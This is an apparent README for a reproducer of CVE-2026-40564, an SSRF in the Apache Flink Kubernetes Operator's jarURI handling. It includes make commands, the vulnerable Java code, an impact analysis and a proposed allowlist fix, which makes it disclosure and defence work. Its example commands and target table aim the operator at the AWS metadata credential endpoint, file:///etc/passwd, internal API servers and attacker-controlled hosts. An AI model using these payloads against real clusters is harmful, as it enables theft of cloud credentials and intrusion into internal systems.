
CVE-2026-40564: apache/flink-kubernetes-operator의 FlinkSessionJob jarURI를 통한 SSRF. 하나의 make 명령으로 로컬 kind 클러스터에서 실행되는 자체 포함 재현기.
Apache Flink Kubernetes Operator는 FlinkSessionJob(또는 FlinkDeployment) 리소스의 spec.job.jarURI 필드를 확인하지 않습니다. 이러한 리소스 중 하나를 생성할 수 있는 사람은 누구나 jarURI를 임의의 URL로 설정할 수 있습니다. 운영자가 리소스를 조정(reconcile)하면 자신의 파드 내부에서 해당 URL을 가져옵니다. 스킴(scheme)은 http, https, file 또는 Flink에 포함된 파일시스템 플러그인 중 무엇이든 될 수 있으므로 요청은 운영자 파드가 도달할 수 있는 거의 모든 곳으로 전송될 수 있습니다.
main (2026-04-09 기준 1.15-SNAPSHOT)[email protected]와 [email protected]에 보고됨SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
다음 5단계를 순서대로 실행합니다:
jarURI를 가진 FlinkSessionJob 적용작동하면 실행 끝부분은 다음과 같습니다:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
첫 실행에는 약 6~8분이 걸립니다. 대부분은 약 700MB인 flink:1.17 이미지를 받는 데 사용됩니다. 이후 실행은 3분 정도로 더 빠릅니다.
docker, kind, kubectl 1.23 이상, helm 3, make, curl, jq. 클러스터는 webhook.site와 통신할 수 있도록 인터넷에 연결되어 있어야 합니다.
기본적으로 Makefile이 새 webhook.site URL을 자동으로 가져옵니다. 요청을 다른 곳으로 보내려면 SSRF_URL을 원하는 전체 jarURI로 설정하세요. 입력한 그대로 사용됩니다.
# 특정 webhook.site URL 재사용
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# 자체 collaborator 사용 (Burp, interactsh, netcat 리스너 등)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# AWS 인스턴스 메타데이터 서비스
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Flink 파일시스템 계층이 처리하는 http가 아닌 스킴
make verify SSRF_URL=file:///etc/passwd
결과 확인 방식은 대상에 따라 다릅니다. URL이 webhook.site에 있으면 Makefile이 해당 REST API를 읽고 캡처된 요청을 출력합니다. 그 외의 경우에는 운영자 로그를 읽고 HttpArtifactFetcher.fetch 스택 프레임을 찾아 가져오기가 실제로 실행되었는지 확인합니다. WEBHOOK_URL도 동일하게 작동하며 SSRF_URL과 같은 의미입니다.
make cleanup
kind 클러스터를 제거합니다. 아무것도 남기지 않습니다.
세 개의 클래스가 관련되어 있으며, 그중 어느 것도 jarURI의 스킴, 호스트, IP를 확인하지 않습니다.
DefaultValidator.validateJobSpec은 병렬성(parallelism), 업그레이드 모드, 세이브포인트 설정, 리소스 형태를 확인합니다. job.getJarURI()는 절대 읽지 않습니다:
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch는 스킴에 따라 fetcher를 선택합니다. 허용 목록(allowlist)이 없으며 http 또는 https가 아닌 것은 모두 Flink의 파일시스템 계층으로 넘어갑니다:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch는 주어진 URL을 그대로 엽니다. 호스트 확인, IP 범위 확인이 없으며 루프백 또는 링크-로컬 주소에 접근하는 것을 막는 장치도 없습니다:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
운영자는 일반적으로 넓은 RBAC 권한으로 실행됩니다. 공식 Helm 차트는 secrets를 포함한 여러 리소스 유형에 * 권한을 부여하며, 파드는 일반적으로 제한 없이 네트워크에 접근할 수 있습니다. 운영자가 대신 요청을 보내게 만들 수 있다면 다음을 할 수 있습니다:
FlinkSessionJob 상태의 오류 메시지에서 결과를 읽어내기여러 팀이 동일한 운영자를 사용하는 공유 클러스터에서는 그중 어떤 팀이든 운영자를 이용해 다른 팀의 리소스에 접근할 수 있습니다.
재현 도구는 기본적으로 webhook.site를 사용하지만 이 버그는 URL이 무엇이든 상관하지 않습니다. SSRF_URL을 설정하거나 manifests/vulnerable-sessionjob.yaml을 편집하여 다음 중 원하는 값으로 지정하세요:
jarURI | 도달 대상 |
|---|---|
DefaultValidator.validateJobSpec에 검사를 추가하세요:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES의 기본값을 Set.of("https")로 지정하세요. s3나 다른 스킴이 필요한 운영자는 해당 스킴을 추가할 수 있습니다.
추가로 해볼 만한 두 가지:
169.254.0.0/16), 루프백 및 알려진 클라우드 메타데이터 주소로의 이그레스(egress)를 차단하는 운영자 파드용 NetworkPolicy를 추가하세요.Makefile은 Linux에서 kind를 깨뜨리는 두 가지 문제를 우회합니다. 각 검사는 문제가 실제로 존재할 때만 실행되므로 다시 실행해도 안전합니다.
/etc/resolv.conf가 127.0.0.1을 가리키므로 클러스터가 외부 이름을 localhost로 해석합니다. cluster-up 단계는 CoreDNS 설정을 1.1.1.1 및 8.8.8.8로 포워딩하도록 다시 작성합니다.ndots가 5로 설정되면 webhook.site 같은 이름에 호스트 검색 도메인이 먼저 추가되고, 일부 ISP는 인식하지 못하는 하위 도메인에 대해 127.0.0.1로 응답합니다. install-operator 단계는 운영자 파드에 자체 dnsConfig를 부여하여 이 문제가 발생하지 않도록 합니다.전체 실행이 중간에 실패하면 make verify-ssrf를 단독으로 실행할 수 있습니다. 이 명령은 실행 중인 FlinkSessionJob에서 jarURI를 읽으므로 로컬에 저장된 어떤 것에도 의존하지 않습니다.
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>| AWS IMDSv1, 운영자 파드 노드의 IAM 자격 증명 |
http://10.0.0.1:6443/api | 클러스터 내부 apiserver 또는 운영자 IP를 허용 목록에 포함하는 내부 엔드포인트 |
file:///etc/passwd | 파일시스템 fetcher 분기를 통한 운영자 파드 자체 파일시스템 |
s3://attacker-bucket/x.jar | 운영자 파드의 자격 증명을 사용한 S3 |